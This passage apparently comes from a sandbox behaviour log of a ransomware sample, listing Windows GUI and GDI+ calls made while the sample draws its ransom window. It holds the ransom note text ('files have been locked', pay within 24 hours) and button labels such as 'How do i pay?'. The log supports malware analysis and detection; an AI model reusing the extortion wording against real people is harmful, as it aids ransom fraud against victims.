GetSystemMetrics (nIndex=42) returned 0 [0131.295] GetWindowTextW (in: hWnd=0x10172, lpString=0xb6e9b0, nMaxCount=215 | out: lpString="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n") returned 214 [0131.295] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xd, wParam=0xd7, lParam=0xb6e9b0) returned 0xd6 [0131.295] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x1) returned 0x1b00017 [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x2) returned 0x1900010 [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x7) returned 0x305020c [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x6) returned 0x18a002e [0131.295] SaveDC (hdc=0x1f010210) returned 1 [0131.295] GetNearestColor (hdc=0x1f010210, color=0x80) returned 0x80 [0131.295] RestoreDC (hdc=0x1f010210, nSavedDC=-1) returned 1 [0131.295] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1f010210) returned 0x0 [0131.295] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.295] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.295] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.295] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x1) returned 0x1b00017 [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x2) returned 0x1900010 [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x7) returned 0x305020c [0131.295] GetCurrentObject (hdc=0x1f010210, type=0x6) returned 0x18a002e [0131.295] SaveDC (hdc=0x1f010210) returned 1 [0131.295] GetTextAlign (hdc=0x1f010210) returned 0x0 [0131.296] GetTextColor (hdc=0x1f010210) returned 0x0 [0131.296] SetTextColor (hdc=0x1f010210, color=0x80) returned 0x0 [0131.296] GetCurrentObject (hdc=0x1f010210, type=0x6) returned 0x18a002e [0131.296] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.296] SelectObject (hdc=0x1f010210, h=0x2f0a022a) returned 0x18a002e [0131.296] GetBkMode (hdc=0x1f010210) returned 2 [0131.296] SetBkMode (hdc=0x1f010210, mode=1) returned 2 [0131.296] DrawTextExW (in: hdc=0x1f010210, lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", cchText=214, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae5fc0 | out: lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", lprc=0xb6e9e8) returned 75 [0131.296] RestoreDC (hdc=0x1f010210, nSavedDC=-1) returned 1 [0131.296] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1f010210) returned 0x0 [0131.296] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.296] BitBlt (hdc=0x100101b7, x=0, y=0, cx=435, cy=60, hdcSrc=0x1f010210, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.297] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x1f010210) returned 0x0 [0131.297] SelectPalette (hdc=0x100101b7, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.297] SelectObject (hdc=0x1f010210, h=0x185000f) returned 0x305020c [0131.297] DeleteDC (hdc=0x1f010210) returned 1 [0131.297] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.297] DeleteObject (ho=0x305020c) returned 1 [0131.297] EndPaint (hWnd=0x10172, lpPaint=0xb6eba8) returned 1 [0131.297] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.297] IsWindowUnicode (hWnd=0x10174) returned 1 [0131.297] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.297] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.297] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.297] BeginPaint (in: hWnd=0x10174, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x1401007f [0131.297] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.298] SelectPalette (hdc=0x1401007f, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.298] CreateCompatibleDC (hdc=0x1401007f) returned 0x2001020b [0131.298] SelectObject (hdc=0x2001020b, h=0x805020e) returned 0x185000f [0131.298] GdipCreateFromHDC (hdc=0x2001020b, graphics=0xb6ebc4) returned 0x0 [0131.298] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.298] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=143, height=24, combineMode=0x0) returned 0x0 [0131.298] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.298] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.298] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.298] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.298] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.298] LocalFree (hMem=0xe029a0) returned 0x0 [0131.298] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.298] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.298] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.298] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.298] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.298] GetWindowTextLengthW (hWnd=0x10174) returned 13 [0131.298] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0131.298] GetSystemMetrics (nIndex=42) returned 0 [0131.298] GetWindowTextW (in: hWnd=0x10174, lpString=0xb6eb44, nMaxCount=14 | out: lpString="How do i pay?") returned 13 [0131.298] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0xd, wParam=0xe, lParam=0xb6eb44) returned 0xd [0131.298] GetClientRect (in: hWnd=0x10174, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.298] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.298] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.298] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.298] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.298] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.298] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.298] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.298] LocalFree (hMem=0xe029a0) returned 0x0 [0131.298] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.298] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.298] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.298] LocalFree (hMem=0xe029a0) returned 0x0 [0131.298] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.299] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.299] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.299] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.299] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.299] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x1) returned 0x1b00017 [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x2) returned 0x1900010 [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x7) returned 0x805020e [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x6) returned 0x18a002e [0131.299] SaveDC (hdc=0x2001020b) returned 1 [0131.299] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1204021a [0131.299] GetClipRgn (hdc=0x2001020b, hrgn=0x1204021a) returned 0 [0131.299] SelectClipRgn (hdc=0x2001020b, hrgn=0x1d040229) returned 2 [0131.299] DeleteObject (ho=0x1204021a) returned 1 [0131.299] DeleteObject (ho=0x1d040229) returned 1 [0131.299] OffsetViewportOrgEx (in: hdc=0x2001020b, x=0, y=0, lppt=0x2ae6400 | out: lppt=0x2ae6400) returned 1 [0131.299] GetNearestColor (hdc=0x2001020b, color=0x0) returned 0x0 [0131.299] CreateSolidBrush (color=0x0) returned 0x1010020f [0131.299] FillRect (hDC=0x2001020b, lprc=0xb6eaac, hbr=0x1010020f) returned 1 [0131.299] DeleteObject (ho=0x1010020f) returned 1 [0131.299] RestoreDC (hdc=0x2001020b, nSavedDC=-1) returned 1 [0131.299] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2001020b) returned 0x0 [0131.299] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfda90dbd) returned 0x0 [0131.299] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.299] GetWindowTextLengthW (hWnd=0x10174) returned 13 [0131.299] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0131.299] GetSystemMetrics (nIndex=42) returned 0 [0131.299] GetWindowTextW (in: hWnd=0x10174, lpString=0xb6eb44, nMaxCount=14 | out: lpString="How do i pay?") returned 13 [0131.299] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10174, Msg=0xd, wParam=0xe, lParam=0xb6eb44) returned 0xd [0131.299] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x1) returned 0x1b00017 [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x2) returned 0x1900010 [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x7) returned 0x805020e [0131.299] GetCurrentObject (hdc=0x2001020b, type=0x6) returned 0x18a002e [0131.299] SaveDC (hdc=0x2001020b) returned 1 [0131.300] GetNearestColor (hdc=0x2001020b, color=0x80) returned 0x80 [0131.300] RestoreDC (hdc=0x2001020b, nSavedDC=-1) returned 1 [0131.300] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2001020b) returned 0x0 [0131.300] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.300] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.300] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.300] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.300] GetCurrentObject (hdc=0x2001020b, type=0x1) returned 0x1b00017 [0131.300] GetCurrentObject (hdc=0x2001020b, type=0x2) returned 0x1900010 [0131.300] GetCurrentObject (hdc=0x2001020b, type=0x7) returned 0x805020e [0131.300] GetCurrentObject (hdc=0x2001020b, type=0x6) returned 0x18a002e [0131.300] SaveDC (hdc=0x2001020b) returned 1 [0131.300] GetTextAlign (hdc=0x2001020b) returned 0x0 [0131.300] GetTextColor (hdc=0x2001020b) returned 0x0 [0131.300] SetTextColor (hdc=0x2001020b, color=0x80) returned 0x0 [0131.300] GetCurrentObject (hdc=0x2001020b, type=0x6) returned 0x18a002e [0131.300] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.300] SelectObject (hdc=0x2001020b, h=0x50a0227) returned 0x18a002e [0131.300] GetBkMode (hdc=0x2001020b) returned 2 [0131.300] SetBkMode (hdc=0x2001020b, mode=1) returned 2 [0131.300] DrawTextExW (in: hdc=0x2001020b, lpchText="How do i pay?", cchText=13, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae68f4 | out: lpchText="How do i pay?", lprc=0xb6e9e8) returned 24 [0131.301] RestoreDC (hdc=0x2001020b, nSavedDC=-1) returned 1 [0131.301] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2001020b) returned 0x0 [0131.301] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.301] BitBlt (hdc=0x1401007f, x=0, y=0, cx=143, cy=24, hdcSrc=0x2001020b, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.301] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2001020b) returned 0x0 [0131.301] SelectPalette (hdc=0x1401007f, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.301] SelectObject (hdc=0x2001020b, h=0x185000f) returned 0x805020e [0131.302] DeleteDC (hdc=0x2001020b) returned 1 [0131.302] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.302] EndPaint (hWnd=0x10174, lpPaint=0xb6eba8) returned 1 [0131.302] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.302] IsWindowUnicode (hWnd=0x10176) returned 1 [0131.302] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.302] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.302] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.302] BeginPaint (in: hWnd=0x10176, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0xc0107d9 [0131.302] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.302] SelectPalette (hdc=0xc0107d9, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.302] CreateCompatibleDC (hdc=0xc0107d9) returned 0x2301020b [0131.302] SelectObject (hdc=0x2301020b, h=0x805020e) returned 0x185000f [0131.302] GdipCreateFromHDC (hdc=0x2301020b, graphics=0xb6ebc4) returned 0x0 [0131.302] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.302] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=160, height=24, combineMode=0x0) returned 0x0 [0131.302] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.302] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.302] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.302] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.302] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.302] LocalFree (hMem=0xe029a0) returned 0x0 [0131.302] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.302] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.302] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.302] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.302] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.302] GetWindowTextLengthW (hWnd=0x10176) returned 13 [0131.303] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0131.303] GetSystemMetrics (nIndex=42) returned 0 [0131.303] GetWindowTextW (in: hWnd=0x10176, lpString=0xb6eb44, nMaxCount=14 | out: lpString="What Happend?") returned 13 [0131.303] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0xd, wParam=0xe, lParam=0xb6eb44) returned 0xd [0131.303] GetClientRect (in: hWnd=0x10176, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.303] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.303] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.303] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.303] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.303] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.303] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.303] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.303] LocalFree (hMem=0xe029a0) returned 0x0 [0131.303] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.303] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.303] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.303] LocalFree (hMem=0xe029a0) returned 0x0 [0131.303] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.303] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.303] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.303] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.303] GdipDeleteRegion (region=0x5c59f58) returned 0x0 [0131.303] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eaa8) returned 0x0 [0131.303] GetCurrentObject (hdc=0x2301020b, type=0x1) returned 0x1b00017 [0131.303] GetCurrentObject (hdc=0x2301020b, type=0x2) returned 0x1900010 [0131.303] GetCurrentObject (hdc=0x2301020b, type=0x7) returned 0x805020e [0131.303] GetCurrentObject (hdc=0x2301020b, type=0x6) returned 0x18a002e [0131.303] SaveDC (hdc=0x2301020b) returned 1 [0131.303] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1e040229 [0131.303] GetClipRgn (hdc=0x2301020b, hrgn=0x1e040229) returned 0 [0131.303] SelectClipRgn (hdc=0x2301020b, hrgn=0x1404021a) returned 2 [0131.303] DeleteObject (ho=0x1e040229) returned 1 [0131.303] DeleteObject (ho=0x1404021a) returned 1 [0131.303] OffsetViewportOrgEx (in: hdc=0x2301020b, x=0, y=0, lppt=0x2ae6d34 | out: lppt=0x2ae6d34) returned 1 [0131.303] GetNearestColor (hdc=0x2301020b, color=0x0) returned 0x0 [0131.304] CreateSolidBrush (color=0x0) returned 0x1110020f [0131.304] FillRect (hDC=0x2301020b, lprc=0xb6eaac, hbr=0x1110020f) returned 1 [0131.304] DeleteObject (ho=0x1110020f) returned 1 [0131.304] RestoreDC (hdc=0x2301020b, nSavedDC=-1) returned 1 [0131.304] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2301020b) returned 0x0 [0131.304] GdipRestoreGraphics (graphics=0x5c59bb8, state=0xfda70dbd) returned 0x0 [0131.304] GdipDeleteRegion (region=0x5c59ec8) returned 0x0 [0131.304] GetWindowTextLengthW (hWnd=0x10176) returned 13 [0131.304] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0131.304] GetSystemMetrics (nIndex=42) returned 0 [0131.304] GetWindowTextW (in: hWnd=0x10176, lpString=0xb6eb44, nMaxCount=14 | out: lpString="What Happend?") returned 13 [0131.304] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10176, Msg=0xd, wParam=0xe, lParam=0xb6eb44) returned 0xd [0131.304] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6eac8) returned 0x0 [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x1) returned 0x1b00017 [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x2) returned 0x1900010 [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x7) returned 0x805020e [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x6) returned 0x18a002e [0131.304] SaveDC (hdc=0x2301020b) returned 1 [0131.304] GetNearestColor (hdc=0x2301020b, color=0x80) returned 0x80 [0131.304] RestoreDC (hdc=0x2301020b, nSavedDC=-1) returned 1 [0131.304] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2301020b) returned 0x0 [0131.304] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x73000000 [0131.304] AdjustWindowRectEx (in: lpRect=0xb6e9ec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e9ec) returned 1 [0131.304] GdipGetTextRenderingHint (graphics=0x5c59bb8, mode=0xb6ea68) returned 0x0 [0131.304] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ea54) returned 0x0 [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x1) returned 0x1b00017 [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x2) returned 0x1900010 [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x7) returned 0x805020e [0131.304] GetCurrentObject (hdc=0x2301020b, type=0x6) returned 0x18a002e [0131.304] SaveDC (hdc=0x2301020b) returned 1 [0131.305] GetTextAlign (hdc=0x2301020b) returned 0x0 [0131.305] GetTextColor (hdc=0x2301020b) returned 0x0 [0131.305] SetTextColor (hdc=0x2301020b, color=0x80) returned 0x0 [0131.305] GetCurrentObject (hdc=0x2301020b, type=0x6) returned 0x18a002e [0131.305] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e75c | out: pv=0xb6e75c) returned 92 [0131.305] SelectObject (hdc=0x2301020b, h=0x50a0227) returned 0x18a002e [0131.305] GetBkMode (hdc=0x2301020b) returned 2 [0131.305] SetBkMode (hdc=0x2301020b, mode=1) returned 2 [0131.305] DrawTextExW (in: hdc=0x2301020b, lpchText="What Happend?", cchText=13, lprc=0xb6e9e8, format=0x100000, lpdtp=0x2ae7228 | out: lpchText="What Happend?", lprc=0xb6e9e8) returned 24 [0131.305] RestoreDC (hdc=0x2301020b, nSavedDC=-1) returned 1 [0131.305] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2301020b) returned 0x0 [0131.305] GdipGetDC (graphics=0x5c59bb8, hdc=0xb6ec04) returned 0x0 [0131.305] BitBlt (hdc=0xc0107d9, x=0, y=0, cx=160, cy=24, hdcSrc=0x2301020b, x1=0, y1=0, rop=0xcc0020) returned 1 [0131.305] GdipReleaseDC (graphics=0x5c59bb8, hdc=0x2301020b) returned 0x0 [0131.305] SelectPalette (hdc=0xc0107d9, hPal=0x188000b, bForceBkgd=0) returned 0x29080216 [0131.305] SelectObject (hdc=0x2301020b, h=0x185000f) returned 0x805020e [0131.305] DeleteDC (hdc=0x2301020b) returned 1 [0131.305] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.305] EndPaint (hWnd=0x10176, lpPaint=0xb6eba8) returned 1 [0131.306] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.306] IsWindowUnicode (hWnd=0x10178) returned 1 [0131.306] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0131.306] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0131.306] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0131.306] BeginPaint (in: hWnd=0x10178, lpPaint=0xb6ebac | out: lpPaint=0xb6ebac) returned 0x100101b7 [0131.306] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0131.306] SelectPalette (hdc=0x100101b7, hPal=0x29080216, bForceBkgd=1) returned 0x188000b [0131.306] CreateCompatibleDC (hdc=0x100101b7) returned 0x2601020b [0131.306] DeleteObject (ho=0x805020e) returned 1 [0131.306] GetObjectType (h=0x100101b7) returned 0x3 [0131.306] CreateCompatibleBitmap (hdc=0x100101b7, cx=1, cy=1) returned 0x1105020d [0131.306] GetDIBits (in: hdc=0x100101b7, hbm=0x1105020d, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.306] GetDIBits (in: hdc=0x100101b7, hbm=0x1105020d, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0xb6e69c, usage=0x0 | out: lpvBits=0x0, lpbmi=0xb6e69c) returned 1 [0131.306] DeleteObject (ho=0x1105020d) returned 1 [0131.306] CreateDIBSection (in: hdc=0x100101b7, lpbmi=0xb6e6ec, usage=0x0, ppvBits=0xb6ebe0, hSection=0x0, offset=0x0 | out: ppvBits=0xb6ebe0) returned 0x905020e [0131.307] SelectObject (hdc=0x2601020b, h=0x905020e) returned 0x185000f [0131.307] GdipCreateFromHDC (hdc=0x2601020b, graphics=0xb6ebc4) returned 0x0 [0131.307] GdipTranslateWorldTransform (graphics=0x5c59bb8, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0131.307] GdipSetClipRectI (graphics=0x5c59bb8, x=0, y=0, width=398, height=25, combineMode=0x0) returned 0x0 [0131.307] GdipCreateMatrix (matrix=0xb6ec0c) returned 0x0 [0131.307] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x5c59e98) returned 0x0 [0131.307] GdipIsMatrixIdentity (matrix=0x5c59e98, result=0xb6ec24) returned 0x0 [0131.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.307] GdipGetMatrixElements (matrix=0x5c59e98, matrixOut=0xe029a0) returned 0x0 [0131.307] LocalFree (hMem=0xe029a0) returned 0x0 [0131.307] GdipDeleteMatrix (matrix=0x5c59e98) returned 0x0 [0131.307] GdipCreateRegion (region=0xb6ec0c) returned 0x0 [0131.307] GdipGetClip (graphics=0x5c59bb8, region=0x5c59ec8) returned 0x0 [0131.307] GdipIsInfiniteRegion (region=0x5c59ec8, graphics=0x5c59bb8, result=0xb6ec18) returned 0x0 [0131.307] GdipSaveGraphics (graphics=0x5c59bb8, state=0xb6ec44) returned 0x0 [0131.307] GetWindowTextLengthW (hWnd=0x10178) returned 29 [0131.307] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d [0131.307] GetSystemMetrics (nIndex=42) returned 0 [0131.307] GetWindowTextW (in: hWnd=0x10178, lpString=0xb6eb24, nMaxCount=30 | out: lpString="-YOUR FILES HAVE BEEN LOCKED-") returned 29 [0131.307] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10178, Msg=0xd, wParam=0x1e, lParam=0xb6eb24) returned 0x1d [0131.307] GetClientRect (in: hWnd=0x10178, lpRect=0xb6ec0c | out: lpRect=0xb6ec0c) returned 1 [0131.307] GdipCreateRegion (region=0xb6ea60) returned 0x0 [0131.307] GdipGetClip (graphics=0x5c59bb8, region=0x5c59f58) returned 0x0 [0131.307] GdipCreateMatrix (matrix=0xb6ea60) returned 0x0 [0131.307] GdipGetWorldTransform (graphics=0x5c59bb8, matrix=0x59aea90) returned 0x0 [0131.307] GdipIsMatrixIdentity (matrix=0x59aea90, result=0xb6ea78) returned 0x0 [0131.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.307] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.307] LocalFree (hMem=0xe029a0) returned 0x0 [0131.307] GdipCombineRegionRegion (region=0x5c59f58, region2=0x5c59ec8, combineMode=0x1) returned 0x0 [0131.307] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xe029a0 [0131.307] GdipGetMatrixElements (matrix=0x59aea90, matrixOut=0xe029a0) returned 0x0 [0131.307] LocalFree (hMem=0xe029a0) returned 0x0 [0131.307] GdipDeleteMatrix (matrix=0x59aea90) returned 0x0 [0131.307] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6eaa0) returned 0x0 [0131.308] GdipIsInfiniteRegion (region=0x5c59f58, graphics=0x5c59bb8, result=0xb6ea90) returned 0x0 [0131.308] GdipGetRegionHRgn (region=0x5c59f58, graphics=0x5c59bb8, hRgn=0xb6ea90) returned 0x0 [0131.308] GdipDeleteRegion (region=0x5c59f58) returned 